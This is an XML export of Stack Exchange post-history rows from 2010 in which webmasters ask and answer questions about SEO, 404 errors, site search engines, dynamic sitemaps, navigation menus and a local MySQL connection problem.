  <row Id="11109" PostHistoryTypeId="4" PostId="5571" RevisionGUID="c1302029-cf4f-43d4-928c-c8f266415418" CreationDate="2010-11-17T17:45:16.190" UserId="3142" Comment="re-title, fix grammatical error and clarification" Text="What's the extent of the &quot;damage&quot; to having a broken URL found by the spiders (showing in Google Webmaster Tools)?" />
  <row Id="11110" PostHistoryTypeId="2" PostId="5572" RevisionGUID="240889dc-c4db-4be6-bcbf-1f33444b16fb" CreationDate="2010-11-17T18:10:45.900" UserId="1064" Text="&gt; How bad is it?&#xD;&#xA;&#xD;&#xA;Badness is directly proportional to the number of links to the 404 and the number of visitors who are disappointed when they arrive at your site; Google Webmaster Tools won't show you a 404 unless there's a link to the content *somewhere* on the internet.&#xD;&#xA;&#xD;&#xA;&gt; Does anyone know how the spider acts&#xD;&#xA;&gt; programatically with crawl errors[?]&#xD;&#xA;&#xD;&#xA;If your domain expires you can expect it to be removed from search results post haste (i.e. about 48 hours from my experience).&#xD;&#xA;&#xD;&#xA;If your domain stops accepting all traffic (i.e. internal server error or a multitude of 404's) it's far less certain how long your rank will remain - my anecdotal experience is 1-2 weeks for extremely low-value search terms (wouldn't let that happen for ranking on high-value terms).&#xD;&#xA;&#xD;&#xA;Per this [Webmaster World &quot;how long to removal&quot; thread][1], Google may keep &quot;dead&quot; content in its supplemental index for quite a while, but you're on the right track with fixing the problem as it appears*.&#xD;&#xA;&#xD;&#xA;*&#xD;&#xA;You are applying a 301 redirect to the correct URL or most relevant content, right? :)&#xD;&#xA;  [1]: http://www.webmasterworld.com/forum3/22497.htm" />
  <row Id="11120" PostHistoryTypeId="2" PostId="5576" RevisionGUID="12b02758-68fa-4c96-8577-5ac5be75b80b" CreationDate="2010-11-17T14:56:31.513" UserId="2466" Text="This is not possible to determine without examining the source code.  Not only do you have to worry about the servers things are on and database connections, but you never know when another site might be relying on a feed of sorts from the first site.&#xD;&#xA;&#xD;&#xA;Check the source code." />
  <row Id="11121" PostHistoryTypeId="2" PostId="5575" RevisionGUID="f1c11578-32fe-4118-bdb8-d0f845319017" CreationDate="2010-11-17T14:37:42.987" UserId="3284" Text="Give [site 1][1] and [site 2][2], is there a way for me to tell whether site 2 is a daughter site for site 1? That is, if I were to remove site 1 would site 2 go down as well? The reason I'm asking is because I've been asked to do a major redesign for site 1 (the original developer's gone, left no documentations, the codes disorganised and everywhere, etc) and with the way things are, I figured it would be a lot easier and also better in the long run if I just delete everything and start again from scratch. Therefore I need to check for dependancies before pulling the plug.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ocfaustralia.org/&#xD;&#xA;  [2]: http://griffith.ocfaustralia.org/" />
  <row Id="11122" PostHistoryTypeId="1" PostId="5575" RevisionGUID="f1c11578-32fe-4118-bdb8-d0f845319017" CreationDate="2010-11-17T14:37:42.987" UserId="3284" Text="How do I know whether a site is a daughter site of another?" />
  <row Id="11123" PostHistoryTypeId="3" PostId="5575" RevisionGUID="f1c11578-32fe-4118-bdb8-d0f845319017" CreationDate="2010-11-17T14:37:42.987" UserId="3284" Text="&lt;web-development&gt;&lt;websites&gt;" />
  <row Id="11124" PostHistoryTypeId="17" PostId="5575" RevisionGUID="369c5434-2a4f-45b4-8c9d-daaff1c76c7c" CreationDate="2010-11-17T18:41:24.550" UserId="-1" Comment="from http://stackoverflow.com/questions/4205462/how-do-i-know-whether-a-site-is-a-daughter-site-of-another" Text="" />
  <row Id="11125" PostHistoryTypeId="2" PostId="5578" RevisionGUID="0dbf46ae-8a31-42e6-b2f5-b5675764b1bf" CreationDate="2010-11-17T12:10:23.440" UserId="1406" Text="Whenever you serve the same content using AJAX and when JavaScript is disabled (e.g., search engine bots), you're fine. The bot will just follow the non-JavaScript URL and silently assume that the dynamically created content of the JavaScript script results in the same page (contents).&#xD;&#xA;&#xD;&#xA;Violating this rule, e.g., serving a different page to regular users and to search engine bots, is considered [black hat SEO][1].&#xD;&#xA;&#xD;&#xA;**UPDATE –** Regarding Google et al. will follow the links to 'Ajaxified' links: there's [a post][2] about it on Google's Webmaster Central Blog. In short, when you follow a linking scheme where you update the hash part of the current URL in a style that starts with `#!`, Google will save these as canonical URLs and I think that URLs pointing to a page using this style will generate link juice, too.&#xD;&#xA;&#xD;&#xA;Also read [Google May Be Crawling AJAX Now – How To Best Take Advantage Of It][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Black_hat_SEO&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2009/10/proposal-for-making-ajax-crawlable.html&#xD;&#xA;  [3]: http://searchengineland.com/googles-proposal-for-crawling-ajax-may-be-live-34411" />
  <row Id="11126" PostHistoryTypeId="2" PostId="5577" RevisionGUID="f546ae27-22bd-411b-8dc7-0d259672aa8f" CreationDate="2010-11-17T11:16:49.557" UserDisplayName="umpirsky" Text="If I override default link href with onclick and ajax, for example link `&lt;a href=&quot;/mypage&quot;&gt;`, so onclick I load mypage through ajax, if javascript is disabled, or its a text browser or bot, I let go to /mypage, is this good enough for SEO as having regulat /mypage link with no javascript and ajax?&#xD;&#xA;&#xD;&#xA;What I want is to have same content as without ajax, but to load it via ajax for better user expirience. Wonder if that can be achieved with same SEO effect?&#xD;&#xA;&#xD;&#xA;I assume for google bot it will be the same, but this page /mypage will not appear in analytics, no referers...maybe that is the weakness of this approach?" />
  <row Id="11127" PostHistoryTypeId="1" PostId="5577" RevisionGUID="f546ae27-22bd-411b-8dc7-0d259672aa8f" CreationDate="2010-11-17T11:16:49.557" UserDisplayName="umpirsky" Text="Overriding link action with ajax - SEO" />
  <row Id="11128" PostHistoryTypeId="3" PostId="5577" RevisionGUID="f546ae27-22bd-411b-8dc7-0d259672aa8f" CreationDate="2010-11-17T11:16:49.557" UserDisplayName="umpirsky" Text="&lt;javascript&gt;&lt;ajax&gt;&lt;seo&gt;&lt;hyperlink&gt;&lt;page&gt;" />
  <row Id="11129" PostHistoryTypeId="17" PostId="5577" RevisionGUID="6bd9eb02-e00d-459b-a527-228cb6cbd5e3" CreationDate="2010-11-17T18:42:35.080" UserId="-1" Comment="from http://stackoverflow.com/questions/4203794/overriding-link-action-with-ajax-seo" Text="" />
  <row Id="11130" PostHistoryTypeId="2" PostId="5580" RevisionGUID="a9ffbfc6-d9f2-4d7b-a474-5ab5636038fb" CreationDate="2010-11-17T19:48:17.113" UserDisplayName="bmargulies" Text="It depends on *how* you remove them. If you use a smart library, like jsoup or tagsoup or neko, you get nothing but benefit. If you use a bad library, it can lose your content for you.&#xD;&#xA;" />
  <row Id="11131" PostHistoryTypeId="2" PostId="5579" RevisionGUID="5a29320d-bc45-4dd6-bad6-32ae7354efa1" CreationDate="2010-11-17T19:44:57.193" UserDisplayName="Bhargav" Text="This is a silly question but i am bit confused. Can any explain What is the disadvantages of removing HTML tags before indexing the pages?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="11132" PostHistoryTypeId="1" PostId="5579" RevisionGUID="5a29320d-bc45-4dd6-bad6-32ae7354efa1" CreationDate="2010-11-17T19:44:57.193" UserDisplayName="Bhargav" Text="What is the disadvantages of removing HTML tags before indexing?" />
  <row Id="11133" PostHistoryTypeId="3" PostId="5579" RevisionGUID="5a29320d-bc45-4dd6-bad6-32ae7354efa1" CreationDate="2010-11-17T19:44:57.193" UserDisplayName="Bhargav" Text="&lt;html&gt;" />
  <row Id="11134" PostHistoryTypeId="17" PostId="5579" RevisionGUID="f31a1a47-b181-4e5f-be09-10dbfb5a4b08" CreationDate="2010-11-17T19:49:19.983" UserId="-1" Comment="from http://stackoverflow.com/questions/4208459/what-is-the-disadvantages-of-removing-html-tags-before-indexing" Text="" />
  <row Id="11135" PostHistoryTypeId="2" PostId="5582" RevisionGUID="c55d5c69-d03b-49b9-9779-46033e6c462c" CreationDate="2010-11-17T20:33:15.160" UserDisplayName="Mr. Smith" Text="Well, if it runs Linux, Apache and CPanel, odds are it already comes with MySQL too. PHP + MySQL is a tried and tested combination. I'd stick with whatever would integrate best with the current technologies I'm using. It's useless to jump to SQL Server or Oracle for this, although the point could be argued." />
  <row Id="11136" PostHistoryTypeId="2" PostId="5583" RevisionGUID="ca1e875b-f9de-4b10-a6a9-63d12f8758c8" CreationDate="2010-11-17T20:40:27.343" UserDisplayName="Matt H" Text="I think you're actually asking for a search engine for your website.  Is that correct?&#xD;&#xA;&#xD;&#xA;If so, then why not let Google do all the work? &#xD;&#xA;http://www.askdavetaylor.com/how_can_i_add_a_google_search_box_to_my_web_site.html" />
  <row Id="11137" PostHistoryTypeId="2" PostId="5581" RevisionGUID="778ec181-aa48-49ec-a2b8-351c7444b457" CreationDate="2010-11-17T20:29:00.090" UserDisplayName="matt" Text="I run a large site that is still in early stages. I am looking into implementing some sort of search database. I asked this question on Doctype and it was suggested that here may be the best place to ask. &#xD;&#xA;&#xD;&#xA;My site utilizes several features. For the updates / site news so forth I run Wordpress.&#xD;&#xA;For the forum, I installed YaBB which is written in Perl and the rest of the site is all X/HTML / CSS / Javascript.&#xD;&#xA;&#xD;&#xA;I was looking into creating a PHP search function but it has now been suggested that I look into Sphinx. This seems like a very viable option.&#xD;&#xA;&#xD;&#xA;My question however relates in to exactly how do I set this up. My web host uses a Linux server and runs Apache and my access is via Cpanel. I have been googling but have yet to come across any specific related answers that I need.&#xD;&#xA;&#xD;&#xA;Would you advise Sphinx?. Perhaps an alternative?. " />
  <row Id="11138" PostHistoryTypeId="1" PostId="5581" RevisionGUID="778ec181-aa48-49ec-a2b8-351c7444b457" CreationDate="2010-11-17T20:29:00.090" UserDisplayName="matt" Text="Which database to use for large website?" />
  <row Id="11139" PostHistoryTypeId="3" PostId="5581" RevisionGUID="778ec181-aa48-49ec-a2b8-351c7444b457" CreationDate="2010-11-17T20:29:00.090" UserDisplayName="matt" Text="&lt;sql&gt;&lt;database&gt;" />
  <row Id="11140" PostHistoryTypeId="17" PostId="5581" RevisionGUID="382335b1-a14a-4b40-8bc7-837c72d5ab20" CreationDate="2010-11-17T20:41:25.967" UserId="-1" Comment="from http://stackoverflow.com/questions/4208851/which-database-to-use-for-large-website" Text="" />
  <row Id="11142" PostHistoryTypeId="2" PostId="5584" RevisionGUID="1a4f584d-55d7-489f-9fd0-25820b484e7f" CreationDate="2010-11-17T21:28:28.970" UserId="1327" Text="I manage a website with about 1,000 articles that need to be searchable by my members.&#xD;&#xA;&#xD;&#xA;The site search engines I've tried all had their own problems:&#xD;&#xA;&#xD;&#xA;- [Fluid Dynamics Search Engine](http://www.xav.com/scripts/search/)&#xD;&#xA;&#xD;&#xA;Since it's written in perl, it was a bit hacky to integrate with my PHP-based CMS. I basically had to file_get_contents the search results page. However, FDSE had the best search results.&#xD;&#xA;&#xD;&#xA;- [Google CSE](http://www.google.com/cse/)&#xD;&#xA;&#xD;&#xA;Ugh, the search results SUCK. It can't find documents even using unique strings. I'm so surprised that a Google search product is this bad. Nor can I get any answers on their 'help' forums, and I am a paying user. Boo, Google. Boo.&#xD;&#xA;&#xD;&#xA;- [Sphider](http://www.sphider.eu/)&#xD;&#xA;&#xD;&#xA;Again, bad search results. Unable to locate some phrases used in link text. Better results than Google CSE though. Shame on Google that a free PHP script has better search results than their paid application.&#xD;&#xA;&#xD;&#xA;- [IndexTank](http://indextank.com/)&#xD;&#xA;&#xD;&#xA;This one looked really promising. I got all set up with their PHP API client. But it would only randomly add articles that I submitted. Out of 700+ articles I pushed to the index through their API, only 8 made it in. Unable to find any help on this subject.&#xD;&#xA;&#xD;&#xA;The site itself runs on php/mysql and FreeBSD, though this shouldn't matter for a web crawling indexer.&#xD;&#xA;&#xD;&#xA;I've looked at Lucene, but I don't know anything about Java or installing Java programs on my web server.&#xD;&#xA;&#xD;&#xA;I also do not have root access on my web server, if this would be required for installation.&#xD;&#xA;&#xD;&#xA;I really don't need a lot of fancy features. It just needs to be able to crawl my web site and return great (even decent!) search results. I don't need any crazy search operators. It doesn't need to index off my primary domain. It just needs to work!&#xD;&#xA;&#xD;&#xA;Thanks, Hive Mind!" />
  <row Id="11143" PostHistoryTypeId="1" PostId="5584" RevisionGUID="1a4f584d-55d7-489f-9fd0-25820b484e7f" CreationDate="2010-11-17T21:28:28.970" UserId="1327" Text="Recommend a Site Search Engine" />
  <row Id="11144" PostHistoryTypeId="3" PostId="5584" RevisionGUID="1a4f584d-55d7-489f-9fd0-25820b484e7f" CreationDate="2010-11-17T21:28:28.970" UserId="1327" Text="&lt;search-engines&gt;" />
  <row Id="11145" PostHistoryTypeId="4" PostId="5584" RevisionGUID="56045def-c5c0-49d9-90dd-ad0cd3ff94c9" CreationDate="2010-11-17T21:36:36.923" UserId="138" Comment="edited tags; edited title" Text="Site Search Engine for 1,000 page website" />
  <row Id="11146" PostHistoryTypeId="6" PostId="5584" RevisionGUID="56045def-c5c0-49d9-90dd-ad0cd3ff94c9" CreationDate="2010-11-17T21:36:36.923" UserId="138" Comment="edited tags; edited title" Text="&lt;search-engines&gt;&lt;site-search&gt;" />
  <row Id="11147" PostHistoryTypeId="2" PostId="5585" RevisionGUID="19ce700e-a975-493c-9d4f-48f70fc3f382" CreationDate="2010-11-17T21:50:54.967" UserId="42" Text="I think John Mueller had it right in the comments.  &#xD;&#xA;&#xD;&#xA;&gt; If it's just a matter of not having the images indexed, you could allow crawling but serve the images with an x-robots-tag HTTP header with &quot;noindex&quot;&#xD;&#xA;&#xD;&#xA;I didn't know that you could allow Google to crawl content w/o indexing it.  I put his technique in place and am just waiting to get crawled to see if it worked.&#xD;&#xA;&#xD;&#xA;I'll accept this as the answer in a few days unless John wants to add his comments to the answer section so he can earn the rep." />
  <row Id="11148" PostHistoryTypeId="5" PostId="5584" RevisionGUID="b4c23c5d-0e73-4a54-8806-7c48792146f0" CreationDate="2010-11-17T23:19:50.040" UserId="1327" Comment="added 95 characters in body" Text="I manage a website with about 1,000 articles that need to be searchable by my members.&#xD;&#xA;&#xD;&#xA;The site search engines I've tried all had their own problems:&#xD;&#xA;&#xD;&#xA;- [Fluid Dynamics Search Engine](http://www.xav.com/scripts/search/)&#xD;&#xA;&#xD;&#xA;Since it's written in perl, it was a bit hacky to integrate with my PHP-based CMS. I basically had to file_get_contents the search results page. However, FDSE had the best search results.&#xD;&#xA;&#xD;&#xA;- [Google CSE](http://www.google.com/cse/)&#xD;&#xA;&#xD;&#xA;Ugh, the search results SUCK. It can't find documents even using unique strings. I'm so surprised that a Google search product is this bad. Nor can I get any answers on their 'help' forums, and I am a paying user. Boo, Google. Boo.&#xD;&#xA;&#xD;&#xA;- [Sphider](http://www.sphider.eu/)&#xD;&#xA;&#xD;&#xA;Again, bad search results. Unable to locate some phrases used in link text. Better results than Google CSE though. Shame on Google that a free PHP script has better search results than their paid application.&#xD;&#xA;&#xD;&#xA;- [IndexTank](http://indextank.com/)&#xD;&#xA;&#xD;&#xA;This one looked really promising. I got all set up with their PHP API client. But it would only randomly add articles that I submitted. Out of 700+ articles I pushed to the index through their API, only 8 made it in. Unable to find any help on this subject.&#xD;&#xA;&#xD;&#xA;**Update for IndexTank** -- Got the above issue fixed, so this looks most promising so far.&#xD;&#xA;&#xD;&#xA;The site itself runs on php/mysql and FreeBSD, though this shouldn't matter for a web crawling indexer.&#xD;&#xA;&#xD;&#xA;I've looked at Lucene, but I don't know anything about Java or installing Java programs on my web server.&#xD;&#xA;&#xD;&#xA;I also do not have root access on my web server, if this would be required for installation.&#xD;&#xA;&#xD;&#xA;I really don't need a lot of fancy features. It just needs to be able to crawl my web site and return great (even decent!) search results. I don't need any crazy search operators. It doesn't need to index off my primary domain. It just needs to work!&#xD;&#xA;&#xD;&#xA;Thanks, Hive Mind!" />
  <row Id="11149" PostHistoryTypeId="2" PostId="5586" RevisionGUID="31d30cf0-1099-45fe-ad16-303d6985161b" CreationDate="2010-11-17T23:23:44.757" UserId="767" Text="I can think of two good reasons.&#xD;&#xA;&#xD;&#xA;* By removing all the HTML tags you're removing all the semantics of the text.  &#xD;&#xA;This disadvantages any ranking algorithm - all else being equal, a page with &quot;Tree&quot; in a heading is more likely to be about trees than one with &quot;tree&quot; in the text somewhere.&#xD;&#xA;&#xD;&#xA;* You're also discarding attributes that could be used to index.  &#xD;&#xA;To illustrate, a link to an image of a tree might have alt text describing the tree. Discard the alt text, and your page might not show up in the search.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11150" PostHistoryTypeId="2" PostId="5587" RevisionGUID="374ceb25-83f7-4d6c-9cb9-f9da99ae1e01" CreationDate="2010-11-17T23:33:52.220" UserId="3175" Text="Does it matter if I serve sitemap.xml as a dynamic page? e.g., use .htaccess to rewrite sitemap.xml (or whatever static URL I submitted at the Webmaster Tools) to a PHP file. The PHP file will call the DB and generate the XML file on the fly.&#xD;&#xA;&#xD;&#xA;Does it matter if I use it like this a dynamic PHP page, or should I prepare a static page? The only downside I see is the load time of the file, but it doesn't sound too important considering this page is accessed only by SE boots.&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="11151" PostHistoryTypeId="1" PostId="5587" RevisionGUID="374ceb25-83f7-4d6c-9cb9-f9da99ae1e01" CreationDate="2010-11-17T23:33:52.220" UserId="3175" Text="Dynamic sitemap file" />
  <row Id="11152" PostHistoryTypeId="3" PostId="5587" RevisionGUID="374ceb25-83f7-4d6c-9cb9-f9da99ae1e01" CreationDate="2010-11-17T23:33:52.220" UserId="3175" Text="&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="11153" PostHistoryTypeId="2" PostId="5588" RevisionGUID="c9a41b2a-c44d-406e-a8c9-5f349b8557b6" CreationDate="2010-11-17T23:41:45.803" UserId="1757" Text="No, it doesn't matter, and it's actually a pretty good idea if you have regularly added content. It makes no difference to Google whether you wrote the file by hand, generated it manually with an online tool, generated it automatically with a cronjob, or generated it live each time the sitemap is requested." />
  <row Id="11154" PostHistoryTypeId="2" PostId="5589" RevisionGUID="57522eff-10c7-4337-8f6b-99371c6b4cf4" CreationDate="2010-11-17T23:46:20.807" UserId="1253" Text="The search engines only see the xml you produce. They do not see the programming language you use. " />
  <row Id="11155" PostHistoryTypeId="2" PostId="5590" RevisionGUID="b06162a0-bf75-452b-a913-02391a3d70a2" CreationDate="2010-11-18T00:59:08.943" UserId="3142" Text="Solr, which runs on Lucene is terrific.&#xD;&#xA;&#xD;&#xA;It's not the easiest thing to get going, but there is a very good book I recommend. I wish I had it before starting out with it:&#xD;&#xA;&#xD;&#xA;[https://www.packtpub.com/solr-1-4-enterprise-search-server/book][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packtpub.com/solr-1-4-enterprise-search-server/book" />
  <row Id="11158" PostHistoryTypeId="2" PostId="5592" RevisionGUID="166f107f-cde6-43b1-a188-dc7d8e25e40b" CreationDate="2010-11-18T02:41:38.767" UserId="42" Text="The answer is probably that there are times to use both, but as far as eye tracking studies have shown, the eye scans the page in an &lt;a href=&quot;http://www.useit.com/alertbox/reading_pattern.html&quot;&gt;F shaped pattern&lt;/a&gt;, so it is probably best to keep your navigation on the top left, or across the top.  " />
  <row Id="11159" PostHistoryTypeId="2" PostId="5594" RevisionGUID="fd190978-3cb4-4f95-926f-ceeffa4774fe" CreationDate="2010-11-18T02:29:44.667" UserDisplayName="Raj" Text="I am building one currently. It is an online application builder over Google App Engine (so the database internally is BigTable, SQL is coming soon to GAE) called [iFreeTools Creator][1].&#xD;&#xA;&#xD;&#xA; 1. *database centric* : To get started, one just needs to&#xD;&#xA;    define *Entities* and *Attributes*&#xD;&#xA;    to define the database.&#xD;&#xA; 2. *builds forms from database automatically* : Forms and List views are&#xD;&#xA;    automatically available based on the&#xD;&#xA;    data-model definition.&#xD;&#xA; 3. *allows out of the box ACL and user management system* : Currently has user-role based access&#xD;&#xA;    control, with fine-grained&#xD;&#xA;    (attribute-level) profile-based&#xD;&#xA;    access control is in the works.&#xD;&#xA;&#xD;&#xA;Other features include automated audits, custom views, sub-domain mapping and more. One of the quickest and most affordable platforms to build apps for you / your clients.&#xD;&#xA;&#xD;&#xA;Hope it meets your requirement. Feedback welcome.&#xD;&#xA;&#xD;&#xA;  [1]: http://creator.ifreetools.com" />
  <row Id="11160" PostHistoryTypeId="2" PostId="5593" RevisionGUID="77b48ac5-605f-4fea-848e-1aae86d8803f" CreationDate="2010-11-17T23:42:55.723" UserId="3080" Text="What is the best application development platform for database applications?&#xD;&#xA;I need a platform/technology to build a web or windows application that is &#xD;&#xA;&#xD;&#xA; 1. database centric  &#xD;&#xA; &#xD;&#xA; 2. builds forms from database automatically. &#xD;&#xA; 3. allows out of the box ACL and user management system&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11161" PostHistoryTypeId="1" PostId="5593" RevisionGUID="77b48ac5-605f-4fea-848e-1aae86d8803f" CreationDate="2010-11-17T23:42:55.723" UserId="3080" Text="what is the best technology to build database oriented applications" />
  <row Id="11162" PostHistoryTypeId="3" PostId="5593" RevisionGUID="77b48ac5-605f-4fea-848e-1aae86d8803f" CreationDate="2010-11-17T23:42:55.723" UserId="3080" Text="&lt;database&gt;" />
  <row Id="11163" PostHistoryTypeId="17" PostId="5593" RevisionGUID="96c4e94e-70ac-4e1a-9568-492553a9d47c" CreationDate="2010-11-18T02:45:56.843" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9408/what-is-the-best-technology-to-build-database-oriented-applications" Text="" />
  <row Id="11164" PostHistoryTypeId="5" PostId="5592" RevisionGUID="c83af2eb-84af-4e69-987a-12f49667f6f5" CreationDate="2010-11-18T02:48:59.780" UserId="42" Comment="expanded content" Text="The answer is probably that there are times to use both, but as far as eye tracking studies have shown, the eye scans the page in an &lt;a href=&quot;http://www.useit.com/alertbox/reading_pattern.html&quot;&gt;F shaped pattern&lt;/a&gt;, so it is probably best to keep your navigation on the top left, or across the top.  &#xD;&#xA;&#xD;&#xA;Both could be used in conjunction as well, like a horizontal menu across the top for navigational link (home, about us, contact, etc) and a left menu for categories, articles and the like." />
  <row Id="11165" PostHistoryTypeId="5" PostId="5588" RevisionGUID="93c63347-5af9-403a-b09c-679b51ebe527" CreationDate="2010-11-18T02:56:22.217" UserId="1757" Comment="add note about caching; added 94 characters in body" Text="No, it doesn't matter, and it's actually a pretty good idea if you have regularly added content. It makes no difference to Google whether you wrote the file by hand, generated it manually with an online tool, generated it automatically with a cronjob, or generated it live each time the sitemap is requested.&#xD;&#xA;&#xD;&#xA;**Edit:**&lt;br/&gt;&#xD;&#xA;As danlefree suggests, you ought to consider [caching][1] in the case of large sites. (I would personally use some form of caching if your sitemap is over 200 entries. You can probably safely generate a sitemap with 100-200 pages without putting much load on the server.) If you're already using memcached, then you'll be good.&#xD;&#xA;&#xD;&#xA;I'm not sure how often Google hits a sitemap, but you might also consider refreshing it every time Google hits it, but simply serving up the cached copy when its another host.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mysqlperformanceblog.com/2006/08/09/cache-performance-comparison/" />
  <row Id="11166" PostHistoryTypeId="5" PostId="5592" RevisionGUID="71ee9474-ed74-4057-9437-764b09f07286" CreationDate="2010-11-18T02:57:21.867" UserId="42" Comment="added 483 characters in body" Text="The answer is probably that there are times to use both, but as far as eye tracking studies have shown, the eye scans the page in an &lt;a href=&quot;http://www.useit.com/alertbox/reading_pattern.html&quot;&gt;F shaped pattern&lt;/a&gt;, so it is probably best to keep your navigation on the top left, or across the top.  &#xD;&#xA;&#xD;&#xA;Both could be used in conjunction as well, like a horizontal menu across the top for navigational link (home, about us, contact, etc) and a left menu for categories, articles and the like.&#xD;&#xA;&#xD;&#xA;Another point to consider regarding drop-down menus is that they can have SEO implications. Danny Sullivan at  &lt;a href=&quot;http://searchengineland.com/4-tips-for-search-and-user-friendly-design-54304&quot;&gt;Search Engine Land&lt;/a&gt; suggests that drop-down menus can dilute link authority by having many links to every page and that a hierarchal menu may pass link juice better.  Also, why hide navigation elements from your users in a drop-down where they may miss what you are looking for." />
  <row Id="11167" PostHistoryTypeId="5" PostId="5592" RevisionGUID="410bd865-946a-45d6-9f2f-cd81c2fce0be" CreationDate="2010-11-18T03:04:35.480" UserId="42" Comment="spelling, grammar" Text="The answer is probably that there are times to use both, but as far as eye tracking studies have shown, the eye scans the page in an &lt;a href=&quot;http://www.useit.com/alertbox/reading_pattern.html&quot;&gt;F shaped pattern&lt;/a&gt;, so it is probably best to keep your navigation on the top left, or across the top.  &#xD;&#xA;&#xD;&#xA;Both could be used in conjunction as well, like a horizontal menu across the top for navigational links (home, about us, contact, etc) and a left menu for categories, articles and the like.&#xD;&#xA;&#xD;&#xA;Another point to consider regarding drop-down menus is that they can have SEO implications. Danny Sullivan at  &lt;a href=&quot;http://searchengineland.com/4-tips-for-search-and-user-friendly-design-54304&quot;&gt;Search Engine Land&lt;/a&gt; suggests that drop-down menus can dilute link authority by having many links to every page and that a hierarchal menu may pass link juice better.  Also, why hide navigation elements from your users in a drop-down where they may miss what they are looking for." />
  <row Id="11168" PostHistoryTypeId="2" PostId="5595" RevisionGUID="f01c8290-3e05-4260-9f1b-0eb325802d7d" CreationDate="2010-11-18T04:33:23.897" UserId="2727" Text="I have a client that launched a webstore a while back and for example, lets say he sold apples on it and the domain was called www.fruit.com&#xD;&#xA;&#xD;&#xA;The webstore is not doing so well so he has decided to do a whole website rebrand, and change his product focus to selling oranges instead of apples.  The thing is that he likes the domain www.fruit.com and wants to keep that.&#xD;&#xA;&#xD;&#xA;My question is what will that mean for all of the SEO that was previously done for the original www.fruits.com that sold apples.  There are many external links pointing to www.fruits.com to satisfy their &quot;apple&quot; needs, but now he is selling oranges.  Is this a problem that will eventually go away as new links focusing on &quot;oranges&quot; start to proliferate the internet?&#xD;&#xA;&#xD;&#xA;Any insight into this would be greatly appreciated." />
  <row Id="11169" PostHistoryTypeId="1" PostId="5595" RevisionGUID="f01c8290-3e05-4260-9f1b-0eb325802d7d" CreationDate="2010-11-18T04:33:23.897" UserId="2727" Text="What does a complete rebrand/focus change do for a domains SEO?" />
  <row Id="11170" PostHistoryTypeId="3" PostId="5595" RevisionGUID="f01c8290-3e05-4260-9f1b-0eb325802d7d" CreationDate="2010-11-18T04:33:23.897" UserId="2727" Text="&lt;seo&gt;&lt;domain-names&gt;" />
  <row Id="11171" PostHistoryTypeId="2" PostId="5596" RevisionGUID="c1c9cfe3-90dc-4683-93a1-acec95c2a3ea" CreationDate="2010-11-18T05:56:25.523" UserId="3303" Text="The nice this is that since they stayed with 'fruit.com', all the credibility that site has gained stays with it.  If it was changed to say 'oranges.com' they would be starting from scratch.&#xD;&#xA;&#xD;&#xA;It is important however to redirect all of the old page urls to a new destination (if they don't exist anymore).  ie. about_apples.html is now about_oranges.html" />
  <row Id="11172" PostHistoryTypeId="2" PostId="5597" RevisionGUID="42b01318-0a83-4647-8575-e4081823b8e7" CreationDate="2010-11-18T06:06:42.567" UserDisplayName="Kumod Shah" Text="try this hope it helps&#xD;&#xA;http://www.pcurtis.com/media.htm" />
  <row Id="11173" PostHistoryTypeId="2" PostId="5598" RevisionGUID="c4b32e46-6083-4e50-9187-344aaad18e9d" CreationDate="2010-11-18T06:27:23.983" UserId="2748" Text="IMHO, I tend to categorize major section as Horizontal menus.. where as descriptive sections of any active major section in vertical menu.&#xD;&#xA;&#xD;&#xA;For eg:&#xD;&#xA;&#xD;&#xA;    ------------------------------------------------------------------------------&#xD;&#xA;    Home News Product&#xD;&#xA;    ------------------------------------------------------------------------------&#xD;&#xA;    &#xD;&#xA;    |      About Us          | |                                            |&#xD;&#xA;    |      Mission           | |      Here is describing content            |&#xD;&#xA;    |      Contact Us        | |                                            |&#xD;&#xA;&#xD;&#xA;As Home, News and Product act as major categories I have kept them at horizontal layout,&#xD;&#xA;where as About Us, Mission, Contact Us are most descriptive sections of Home Page, so I have kept as vertical menu next the content display portion for easy access." />
  <row Id="11174" PostHistoryTypeId="2" PostId="5599" RevisionGUID="5e6b5be8-51ba-4da5-92a3-c247b038cd1a" CreationDate="2010-11-18T08:37:04.543" UserId="3305" Text="I asked this at [superuser][1] but I'm having no joy there. I was really hoping someone could help because I'm stumped.&#xD;&#xA;&#xD;&#xA;I use a MacBook Pro running Mac OS X 10.6.4&#xD;&#xA;&#xD;&#xA;For a few years I have used MAMP to test websites locally but suddenly and for no apparent reason when I start the MAMP servers the mysql light stays red.&#xD;&#xA;&#xD;&#xA;I'm not very clued up on how to actually run a server which is the main reason I use MAMP. I also have Sequel Pro installed for administering my databases. When I try to connect to mysql in Sequel Pro through a socket connection it says&#xD;&#xA;&gt;The socket file could not be found in any common location. Please supply the correct socket location.&#xD;&#xA;&#xD;&#xA;and then&#xD;&#xA;&gt;MySQL said: Can't connect to local MySQL server through socket 'tmp/mysql.sock' (2)&#xD;&#xA;&#xD;&#xA;I _can_ connect and access all my databases if I connect with host 127.0.0.1 but I used to just connect through the socket and all was fine. Also all my testing sites which I hosted locally are no longer being processed by PHP.&#xD;&#xA;&#xD;&#xA;I have no idea why this suddenly stopped working and any light someone could shine on the matter would be very much appreciated. A solution even more so.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/212044/why-has-mysql-stopped-working-on-localhost-and-how-do-i-fix-it" />
  <row Id="11175" PostHistoryTypeId="1" PostId="5599" RevisionGUID="5e6b5be8-51ba-4da5-92a3-c247b038cd1a" CreationDate="2010-11-18T08:37:04.543" UserId="3305" Text="Why has mysql stopped working on localhost and how do I fix it?" />
  <row Id="11176" PostHistoryTypeId="3" PostId="5599" RevisionGUID="5e6b5be8-51ba-4da5-92a3-c247b038cd1a" CreationDate="2010-11-18T08:37:04.543" UserId="3305" Text="&lt;php&gt;&lt;mysql&gt;" />
